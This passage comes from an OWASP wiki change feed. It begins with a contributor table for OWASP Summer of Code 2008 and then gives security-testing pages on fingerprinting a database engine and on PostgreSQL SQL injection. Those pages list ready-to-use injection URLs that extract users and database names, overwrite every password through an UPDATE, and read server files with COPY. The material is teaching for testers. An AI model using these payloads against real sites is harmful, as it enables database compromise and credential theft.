| style="width:15%; background:#cccccc" align="center"|Brazil <br />
| style="width:15%; background:#cccccc" align="center"|Sao Paulo (GRU)<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Mark Roxberry<br />
| style="width:26%; background:#cccccc" align="center"|Leader, OWASP .NET Project<br />
| style="width:15%; background:#cccccc" align="center"|USA<br />
| style="width:15%; background:#cccccc" align="center"|?<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Matt Tesauro<br />
| style="width:26%; background:#cccccc" align="center"|Project Leader, OWASP Live CD 2008<br />
| style="width:15%; background:#cccccc" align="center"|USA<br />
| style="width:15%; background:#cccccc" align="center"|Austin, TX or Dallas, TX<br />
| style="width:12%; background:#cccccc" align="center"| <br />
| style="width:12%; background:#cccccc" align="center"| <br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Matteo Meucci<br />
| style="width:26%; background:#cccccc" align="center"|Project Leader, OWASP Testing Guide<br />
| style="width:15%; background:#cccccc" align="center"|Italy<br />
| style="width:15%; background:#cccccc" align="center"|Rome<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Matthias Rohr<br />
| style="width:26%; background:#cccccc" align="center"|Project leader, OWASP Skavenger Project <br />
| style="width:15%; background:#cccccc" align="center"|Germany <br />
| style="width:15%; background:#cccccc" align="center"|?<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"| <br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Michael Coates<br />
| style="width:26%; background:#cccccc" align="center"|Project leader, OWASP AppSensor <br />
| style="width:15%; background:#cccccc" align="center"|USA<br />
| style="width:15%; background:#cccccc" align="center"|Chicago<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Justin Derry<br />
| style="width:26%; background:#cccccc" align="center"|Project leader, OWASP Interceptor, Brisbane Chapter Leader, Asia Pacific Conference Chair<br />
| style="width:15%; background:#cccccc" align="center"|Australia<br />
| style="width:15%; background:#cccccc" align="center"|Bejing China<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Nam Nguyen<br />
| style="width:26%; background:#cccccc" align="center"|Reviewer, OWASP Testing Guide v3, Python Static Analysis, OWASP Education<br />
| style="width:15%; background:#cccccc" align="center"|Vietnam<br />
| style="width:15%; background:#cccccc" align="center"|Ho Chi Minh City<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"| <br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|P.Satish Kumar<br />
| style="width:26%; background:#cccccc" align="center"|Reviewer, OWASP Code Review Guide <br />
| style="width:15%; background:#cccccc" align="center"|India<br />
| style="width:15%; background:#cccccc" align="center"|Hyderabad/Mumbai/Chennai<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"| <br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Paolo Perego<br />
| style="width:26%; background:#cccccc" align="center"|Project Leader, OWASP Orizon Project <br />
| style="width:15%; background:#cccccc" align="center"|Italy<br />
| style="width:15%; background:#cccccc" align="center"|?<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Pierre Parrend<br />
| style="width:26%; background:#cccccc" align="center"|Reviewer, OWASP OpenSign Server Project<br>OWASP Application Security Verification Standard <br />
| style="width:15%; background:#cccccc" align="center"|France<br />
| style="width:15%; background:#cccccc" align="center"|?<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Stephen Craig Evans<br />
| style="width:26%; background:#cccccc" align="center"|Project leader, OWASP Securing WebGoat using ModSecurity <br />
| style="width:15%; background:#cccccc" align="center"|Singapore<br />
| style="width:15%; background:#cccccc" align="center"|Singapore<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Christian Folini<br />
| style="width:26%; background:#cccccc" align="center"|Reviewer, OWASP Securing WebGoat using ModSecurity <br />
| style="width:15%; background:#cccccc" align="center"|Switzerland<br />
| style="width:15%; background:#cccccc" align="center"|Zurich/Basle/Geneva<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Jason Li<br />
| style="width:26%; background:#cccccc" align="center"|Project leader, OWASP JSP Testing Tool<br />
| style="width:15%; background:#cccccc" align="center"|USA<br />
| style="width:15%; background:#cccccc" align="center"|Baltimore<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Gandhi Aryavalli Sriranga Narasimha<br />
| style="width:26%; background:#cccccc" align="center"|Reviewer, OWASP Application Security Desk Reference (ASDR)<br />
| style="width:15%; background:#cccccc" align="center"|India <br />
| style="width:15%; background:#cccccc" align="center"|Bangalore<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Rodrigo Marcos<br />
| style="width:26%; background:#cccccc" align="center"|Reviewer, OWASP Internationalization Guidelines Project<br>OWASP Spanish Project<br />
| style="width:15%; background:#cccccc" align="center"|UK<br />
| style="width:15%; background:#cccccc" align="center"|London<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Marcin Wielgoszewski<br />
| style="width:26%; background:#cccccc" align="center"|Reviewer, OWASP AntiSamy.NET<br />
| style="width:15%; background:#cccccc" align="center"|USA<br />
| style="width:15%; background:#cccccc" align="center"|New York, NY<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|James Walden<br />
| style="width:26%; background:#cccccc" align="center"|Project Leader, OWASP Source Code Review OWASP Projects<br />
| style="width:15%; background:#cccccc" align="center"|USA<br />
| style="width:15%; background:#cccccc" align="center"|Cincinnati, OH<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|-<br />
| style="width:20%; background:#cccccc" align="center"|Name<br />
| style="width:26%; background:#cccccc" align="center"| <br />
| style="width:15%; background:#cccccc" align="center"|<br />
| style="width:15%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|-<br />
! colspan="7" align="left" style="background:white; color:black"|<font color="black">'''OWASP SUMMER OF CODE 2008 SPECIAL PROJECT CONTRIBUTORS''' <br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Daniele Bellucci<br />
| style="width:26%; background:#cccccc" align="center"|OWASP Backend Security Project contributor <br />
| style="width:15%; background:#cccccc" align="center"|Italy<br />
| style="width:15%; background:#cccccc" align="center"|Rome(FCO)<br />
| style="width:12%; background:#cccccc" align="center"|Nov 3, 2008<br />
| style="width:12%; background:#cccccc" align="center"|Nov 7, 2008<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Name<br />
| style="width:26%; background:#cccccc" align="center"|<br />
| style="width:15%; background:#cccccc" align="center"|<br />
| style="width:15%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|-<br />
! colspan="7" align="left" style="background:white; color:black"|<font color="black">'''OWASP SUMMER OF CODE 2008/LOGISTICS''' <br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Sarah Cruz<br />
| style="width:26%; background:#cccccc" align="center"|Project leader, Graphic Design <br />
| style="width:15%; background:#cccccc" align="center"|UK<br />
| style="width:15%; background:#cccccc" align="center"|London<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Name<br />
| style="width:26%; background:#cccccc" align="center"|<br />
| style="width:15%; background:#cccccc" align="center"|<br />
| style="width:15%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|-<br />
! colspan="7" align="left" style="background:white; color:black"|<font color="black">'''OWASP SPRING OF CODE 2007 PROJECT LEADERS & REVIEWERS''' <br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Joshua Perrymon<br />
| style="width:26%; background:#cccccc" align="center"|Project Leader, OWASP LiveCD, OWASP Phishing Framework, Alabama Chapter Lead<br />
| style="width:15%; background:#cccccc" align="center"|USA<br />
| style="width:15%; background:#cccccc" align="center"|Birmingham,AL<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Brad Causey<br />
| style="width:26%; background:#cccccc" align="center"|Project Reviewer, OWASP Phishing Framework, Alabama Chapter VP<br />
| style="width:15%; background:#cccccc" align="center"|USA<br />
| style="width:15%; background:#cccccc" align="center"|Birmingham,AL<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Yiannis Pavlosoglou<br />
| style="width:26%; background:#cccccc" align="center"|Project Leader, OWASP JBroFuzz, <br />
| style="width:15%; background:#cccccc" align="center"|UK<br />
| style="width:15%; background:#cccccc" align="center"|London<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
! colspan="7" align="left" style="background:white; color:black"|<font color="black">'''OWASP AUTUMN OF CODE 2006 PROJECT LEADERS & REVIEWERS''' <br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Rogan Dawes <br />
| style="width:26%; background:#cccccc" align="center"|Project leader, WebScarab-NG <br />
| style="width:15%; background:#cccccc" align="center"|South Africa<br />
| style="width:15%; background:#cccccc" align="center"|Johannesburg, South Africa<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"| <br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Simon Roses Femerling<br />
| style="width:26%; background:#cccccc" align="center"|Project leader, OWASP Pantera<br />
| style="width:15%; background:#cccccc" align="center"|Spain<br />
| style="width:15%; background:#cccccc" align="center"|?<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Name<br />
| style="width:26%; background:#cccccc" align="center"|<br />
| style="width:15%; background:#cccccc" align="center"|<br />
| style="width:15%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
! colspan="7" align="left" style="background:white; color:black"|<font color="black">'''ACTIVE PROJECT LEADERS (NOT CURRENTLY PARTICIPATING ON SOC 08)''' <br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Alex Smolen<br />
| style="width:26%; background:#cccccc" align="center"| Project leader, .NET ESAPI <br />
| style="width:15%; background:#cccccc" align="center"|USA<br />
| style="width:15%; background:#cccccc" align="center"|?<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Name<br />
| style="width:26%; background:#cccccc" align="center"|<br />
| style="width:15%; background:#cccccc" align="center"|<br />
| style="width:15%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"| <br />
|- <br />
! colspan="7" align="left" style="background:white; color:black"|<font color="black">'''ACTIVE CHAPTER LEADERS (NOT CURRENTLY PARTICIPATING ON SOC 08)''' <br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Steve Antoniewicz<br />
| style="width:26%; background:#cccccc" align="center"|Chapter Board Member, NY/NJ Metro <br />
| style="width:15%; background:#cccccc" align="center"|USA<br />
| style="width:15%; background:#cccccc" align="center"|?<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Kuai Hinojosa<br />
| style="width:26%; background:#cccccc" align="center"|Chapter leader, Twin-Cities <br />
| style="width:15%; background:#cccccc" align="center"|USA<br />
| style="width:15%; background:#cccccc" align="center"|Minneapolis - St. Paul MN<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Jim Manico<br />
| style="width:26%; background:#cccccc" align="center"|Chapter leader/founder, Hawaii<br />
| style="width:15%; background:#cccccc" align="center"|Hawaii, USA<br />
| style="width:15%; background:#cccccc" align="center"|Anahola, Island of Kauai<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Rex Booth<br />
| style="width:26%; background:#cccccc" align="center"|Chapter leader, Washington DC <br />
| style="width:15%; background:#cccccc" align="center"|USA<br />
| style="width:15%; background:#cccccc" align="center"|Washington DC<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"| <br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Andrzej Targosz<br />
| style="width:26%; background:#cccccc" align="center"|Chapter leader, Poland <br />
| style="width:15%; background:#cccccc" align="center"|Poland<br />
| style="width:15%; background:#cccccc" align="center"|Cracow<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Dhruv Soi<br />
| style="width:26%; background:#cccccc" align="center"|Chapter Board Member, New Delhi <br />
| style="width:15%; background:#cccccc" align="center"|India<br />
| style="width:15%; background:#cccccc" align="center"|New Delhi, India<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"| <br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Bedirhan Urgun<br />
| style="width:26%; background:#cccccc" align="center"|Chapter Leader, Turkiye <br />
| style="width:15%; background:#cccccc" align="center"|Turkey<br />
| style="width:15%; background:#cccccc" align="center"|Istanbul<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"| <br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Cassio Goldsachmidt<br />
| style="width:26%; background:#cccccc" align="center"|Los Angeles <br />
| style="width:15%; background:#cccccc" align="center"|USA<br />
| style="width:15%; background:#cccccc" align="center"|Los Angeles<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"| <br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Name<br />
| style="width:26%; background:#cccccc" align="center"|<br />
| style="width:15%; background:#cccccc" align="center"|<br />
| style="width:15%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
! colspan="7" align="left" style="background:white; color:black"|<font color="black">'''SIGNIFICANT PAST OWASP CONTRIBUTOR (NOT ALREADY COVERED BY ONE OF THE ABOVE CATEGORIES)''' <br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|David Rook<br />
| style="width:26%; background:#cccccc" align="center"|Code Review Guide Contributor, Irish Chapter Contributor<br />
| style="width:15%; background:#cccccc" align="center"|Ireland<br />
| style="width:15%; background:#cccccc" align="center"|Dublin (DUB)<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
! colspan="7" align="left" style="background:white; color:black"|<font color="black">''''KEY INDUSTRY PLAYERS' INVITED TO THE WORKING SESSIONS (NOT ALREADY COVERED BY ONE OF THE ABOVE CATEGORIES)''' <br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|Colin Watson<br />
| style="width:26%; background:#cccccc" align="center"|OWASP Awards Contributor <br />
| style="width:15%; background:#cccccc" align="center"|UK<br />
| style="width:15%; background:#cccccc" align="center"|London<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
| style="width:20%; background:#cccccc" align="center"|?<br />
| style="width:26%; background:#cccccc" align="center"|<br />
| style="width:15%; background:#cccccc" align="center"|<br />
| style="width:15%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
| style="width:12%; background:#cccccc" align="center"|<br />
|- <br />
|}</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_DBMS_Fingerprint&diff=38526OWASP Backend Security Project DBMS Fingerprint2008-09-05T21:19:49Z<p>Dbellucci: /* Fingerprinting through SQL Dialect Injection */</p>
<hr />
<div>= Overview =<br />
<br />
To furthermore exploit SQL Injection vulnerability you need to know<br />
what kind of Database Engine your web application is using. <br />
There are a few techniques to accomplish this task:<br />
* Banner Grabbing<br />
* Guessing the string concatenation operator<br />
* Analyzing backend SQL Dialect<br />
* Error Code Analysis<br />
<br />
= Description =<br />
<br />
After determining that a web application is vulnerable to SQL Injection we need to fingerprint backend DBMS<br />
to furthermore exploit such a vulnerbility. Fingerprint is performed against a set of peculiarities of DBMS.<br />
Such a peculiarities are listed below in order of accuracy:<br />
<br />
* Informations exposed through an error code<br />
* String concatenation functions<br />
* SQL Dialects<br />
<br />
<br />
== Banner Grabbing ==<br />
<br />
Through a SQL Injection we can retrieve Backend DBMS banner but be aware that it could have been replaced by a system administrator. Such a SQL Injection shall include a SQL Statement to be evaluated. Let'see how to accomplish this task:<br />
* MySQL: ''SELECT version()''<br />
* Postgres: ''SELECT version()''<br />
* Oracle: ''SELECT version FROM v$instance''<br />
* MS SQL: ''SELECT @@version''<br />
<br />
== Fingerprinting with string concatenation ==<br />
<br />
Different DBMS handle string concatenation with different operators:<br />
<br />
<br />
'''MS SQL''': 'a' + 'a'<br />
<br />
'''MySQL''': CONCAT('a','a')<br />
<br />
'''Oracle''': 'a' || 'a' ''or'' CONCAT('a','a')<br />
<br />
'''Postgres''': 'a' || 'a'<br />
<br />
<br />
As you can see both Oracle and Postgres use the || operator to perform<br />
such a concatenation, so we need another difference to distinguish them.<br />
<br />
PL/SQL define the CONCAT operator as well to perform string concatenation<br />
and as you can guess this one is not defined on Postgres.<br />
<br />
<br />
'''Example:'''<br />
<br />
Let say you're testing the following URL: <nowiki>http://www.example.com/news.php?id=1</nowiki><br />
<br />
You checked that the above URL is vulnerable to a Blind SQL Injection.<br />
It means that <nowiki>http://www.example.com/news.php</nowiki> return back<br />
the same contents with both <br />
<br />
id=1 (<nowiki>http://www.example.com/news.php?id=1</nowiki>)<br />
<br />
''and''<br />
<br />
id=1 AND 1=1 (<nowiki>http://www.example.com/news.php?id=1 AND 1=1</nowiki>)<br />
<br />
<br />
<br />
You know that different engine have different operators<br />
to perform string concatenation as well so all you have to do is <br />
to compare the orginal page (id=1) with:<br />
<br />
* '''MSSQL:''' id=1 AND 'aa'='a'+'a' <br />
* '''MySQL/Oracle:''' id=1 AND 'aa'=CONCAT('a','a') <br />
* '''Oracle/Postgres:''' id=1 AND 'a'='a'||'a' <br />
<br />
<br />
'''MS SQL''':<br />
<br />
The following comparison should be true:<br />
* <nowiki>http://www.example.com/news.php?id=1''</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'='a'+'a'''</nowiki><br />
<br />
'''MySQL''':<br />
<br />
The following comparison should be true:<br />
* <nowiki>http://www.example.com/news.php?id=1</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'=CONCAT('a','a')</nowiki><br />
<br />
'''Oracle''':<br />
<br />
The following comparison should be true:<br />
* <nowiki>http://www.example.com/news.php?id=1</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'=CONCAT('a','a')</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'='a'||'a'</nowiki><br />
<br />
'''Postgres''':<br />
<br />
The following comparison should be true:<br />
* <nowiki>http://www.example.com/news.php?id=1</nowiki><br />
* <nowiki>http://www.example.com/news.php?id=1 AND 'aa'='a'||'a'</nowiki><br />
<br />
<br />
== Fingerprinting through SQL Dialect Injection ==<br />
<br />
Each DBMS extends Standard SQL with a set of native statements. Such a set define a SQL Dialect available to developers<br />
to properly query a backend DBMS Engine. Beside of a lack of portability this flaw dafine a way to accurately fingerprint<br />
a DBMS through a SQL Injection, or even better a SQL Dialect Injection. SQL Dialect Injection is an attack vector where only statements, operators and peculiarities of a SQL Dialect are used in a SQL Injection.<br />
<br />
As an example what does ''SELECT 1/0'' returns on different DBMS?<br />
<br />
* '''MySQL:''' NULL<br />
* '''Postgres:''' ERROR: division by zero<br />
* '''Oracle:''' ORA-00923: FROM keyword not found where expected<br />
* '''SQL Server:''' Server: Msg 8134, Level 16, State 1, Line 1 Divide by zero error encountered.<br />
<br />
We can exploit this peculiarities to identify MySQL DBMS. To accomplish this task the following comparison shall be true:<br />
<br />
<nowiki><br />
http://www.example.com/news.php?id=1 <br />
http://www.example.com/news.php?id=1 AND ISNULL(1/0)<br />
</nowiki><br />
<br />
<br />
Let see more about this fingerprinting technique.<br />
<br />
<br />
'''MySQL:'''<br />
<br />
One of MySQL peculiarities is that when a comment block ('/**/') contains an exlamation mark ('/*! sql here*/') it is interpreted by MySQL, and is considered as a normal comment block by other DBMS.<br />
<br />
So, if you determine that ''<nowiki>http://www.example.com/news.php?id=1</nowiki>'' is vulnerable<br />
to a BLIND SQL Injection the following comparison should be '''TRUE'':<br />
<br />
<nowiki>http://www.example.com/news.php?id=1</nowiki><br />
<nowiki>http://www.example.com/news.php?id=1 AND 1=1--</nowiki><br />
<br />
When backend engine is MySQL following WEB PAGES should contains the same content of vulnerable URL<br />
<nowiki>http://www.example.com/news.php?id=1 /*! AND 1=1 */--</nowiki><br />
<br />
on the other side the following should be completely different:<br />
<nowiki>http://www.example.com/news.php?id=1 /*! AND 1=0 */--</nowiki><br />
<br />
<br />
'''PostgreSQL:'''<br />
<br />
Postgres define the ''::'' operator to perform data casting. It means that ''1'' as INT<br />
can be convert to ''1'' as CHAR with the following statements:<br />
<br />
SELECT 1::CHAR<br />
<br />
<br />
So, if you determine that ''<nowiki>http://www.example.com/news.php?id=1</nowiki>'' is vulnerable<br />
to a BLIND SQL Injection the following comparison should be true when backend engine is PostgreSQL:<br />
<br />
<nowiki>http://www.example.com/news.php?id=1</nowiki><br />
<nowiki>http://www.example.com/news.php?id=1 AND 1=1::int</nowiki><br />
<br />
'''MS SQL Server:'''<br />
.....<br />
.....<br />
<br />
<br />
'''Oracle:'''<br />
<br />
Oracle implements the following set operators:<br />
* UNION <br />
* UNION ALL<br />
* INTERSECT<br />
* MINUS<br />
<br />
''MINUS'' has not yet been implemented on other DBMS so we can inject it to see if it get executed by backend database with no errors at all.<br />
* /news.php?id=1 is vulnerable to SQL Injection<br />
* through UNION SQL INJECTION we determine how many expression are retrieved from ''news.php'' to the backend DBMS<br />
* replace UNION with MINUS to see if you get back original page (/news.php?id=1)<br />
<br />
<nowiki>http://www.example.com/news.php?id=1</nowiki><br />
<nowiki>http://www.example.com/news.php?id=1 UNION ALL SELECT NULL FROM DUAL</nowiki><br />
<nowiki>http://www.example.com/news.php?id=1 UNION ALL SELECT NULL,NULL FROM DUAL</nowiki><br />
<nowiki>http://www.example.com/news.php?id=1 UNION ALL SELECT NULL,NULL,NULL FROM DUAL</nowiki><br />
<nowiki>http://www.example.com/news.php?id=1 MINUS SELECT NULL,NULL,NULL FROM DUAL</nowiki><br />
<br />
== Error Codes Analysis ==<br />
<br />
By performing fault injection, or fuzzing, you can gather important <br />
information through error code analysis when web application framework reports errors.<br />
Let'see some examples:<br />
<br />
<nowiki><br />
http://www.example.com/store/findproduct.php?name='<br />
<br />
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version <br />
for the right syntax to use near ''''' at line 1</nowiki><br />
<br />
<nowiki><br />
http://www.example.com/store/products.php?id='<br />
<br />
Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: unterminated quoted string at or near "'" LINE 1: <br />
SELECT * FROM products WHERE ID=' ^ in /var/www/store/products.php on line 9</nowiki><br />
<br />
= References =<br />
<br />
Victor Chapela: "Advanced SQL Injection" http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt</div>Dbelluccihttps://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&diff=34872OWASP Backend Security Project Testing PostgreSQL2008-07-28T22:05:59Z<p>Dbellucci: </p>
<hr />
<div>= Short Description of the Issue =<br />
<br />
In this paragraph we're going to describe some SQL Injection techniques for PostgreSQL.<br />
Keep in mind the following peculiarities:<br />
<br />
* PHP Connector allow multiple statements to be executed by using ''';''' as a statement seperator<br />
* SQL Statement can be truncated on vulnerable URL by appending comment char: '''--'''.<br />
* ''LIMIT'' and ''OFFSET'' can be used on a ''SELECT'' statement to retrieve a portion of resultset generated by the ''query''<br />
<br />
From here after we suppose that ''<nowiki>http://www.example.com/news.php?id=1</nowiki>'' is a vulnerable to SQL Injection attack.<br />
<br />
= Black Box testing and example =<br />
<br />
== Identifing PostgreSQL ==<br />
<br />
When a SQL Injection has been found you need to carefully <br />
fingerprint backend database engine. You can determine that backend database engine<br />
is PostgreSQL by using ''::'' cast operator.<br />
<br />
'''Examples:'''<br />
<nowiki>http://www.example.com/store.php?id=1 AND 1::int=1</nowiki><br />
<br />
<br />
Function version() can be used to grab PostgreSQL banner to further more enumerare underlying operating system too.<br />
<br />
'''Example''':<br />
<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--</nowiki><br />
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)<br />
<br />
== Blind Injection ==<br />
<br />
For blind SQL Injection you should take in consideration internal provided functions:<br />
<br />
* String Length<br />
*: ''LENGTH(str)''<br />
* Extract a substring from a given string<br />
*: ''SUBSTR(str,index,offset)''<br />
* String representation with no single quotes<br />
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''<br />
<br />
<br />
Starting from 8.2 PostgreSQL has introduced a built int function: ''pg_sleep(n)'' to make current<br />
session process sleep for ''n'' seconds. <br />
<br />
On previous version you can easy create a custom ''pg_sleep(n)'' by using libc:<br />
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT<br />
<br />
== Single Quote unescape ==<br />
<br />
String can be encoded, to prevent single quotes escaping, by using chr() function.<br />
<br />
* chr(n): Returns the character whose ascii value corresponds to the number<br />
* ascii(n): Returns the ascii value corresponds to the character<br />
<br />
<br />
Let say you want to encode the string 'root':<br />
select ascii('r')<br />
114<br />
select ascii('o')<br />
111<br />
select ascii('t')<br />
116<br />
<br />
<br />
<br />
We can encode 'root' with: <br />
chr(114)||chr(111)||chr(111)||chr(116)<br />
<br />
'''Example:''' <br />
<nowiki>http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--</nowiki><br />
<br />
<br />
<br />
== Attack Vectors ==<br />
<br />
=== Current User ===<br />
<br />
Current user can be retrieved with the following SQL SELECT statements:<br />
<br />
SELECT user<br />
SELECT current_user<br />
SELECT session_user<br />
SELECT usename FROM pg_user<br />
SELECT getpgusername()<br />
<br />
<br />
'''Examples:'''<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--</nowiki><br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--</nowiki><br />
<br />
=== Current Database ===<br />
<br />
Native function current_database() return current database name.<br />
<br />
'''Example''':<br />
<br />
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--</nowiki><br />
<br />
<br />
=== Reading from a file ===<br />
<br />
ProstgreSQL provides two way to access local file:<br />
* COPY statement<br />
* pg_read_file() internal function (starting from PostgreSQL 8.1)<br />
<br />
'''COPY:'''<br />
<br />
This operator copies data between file and table. PostgreSQL engine access local FileSystem with ''postgres'' user rights.<br />
<br />
<br />
'''Example:'''<br />
<br />
<br />
<nowiki><br />
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--<br />
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--<br />
</nowiki><br />
<br />
Data should be retrieved by performi a ''UNION Query SQL Injection'':<br />
* retrieves number of rows previously added in ''file_store'' with ''COPY'' statement<br />
* retrieve a row at time with UNION SQL Injection<br />
<br />
'''Example:'''<br />
<nowiki><br />
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--<br />
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--<br />
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--<br />
...<br />
...<br />
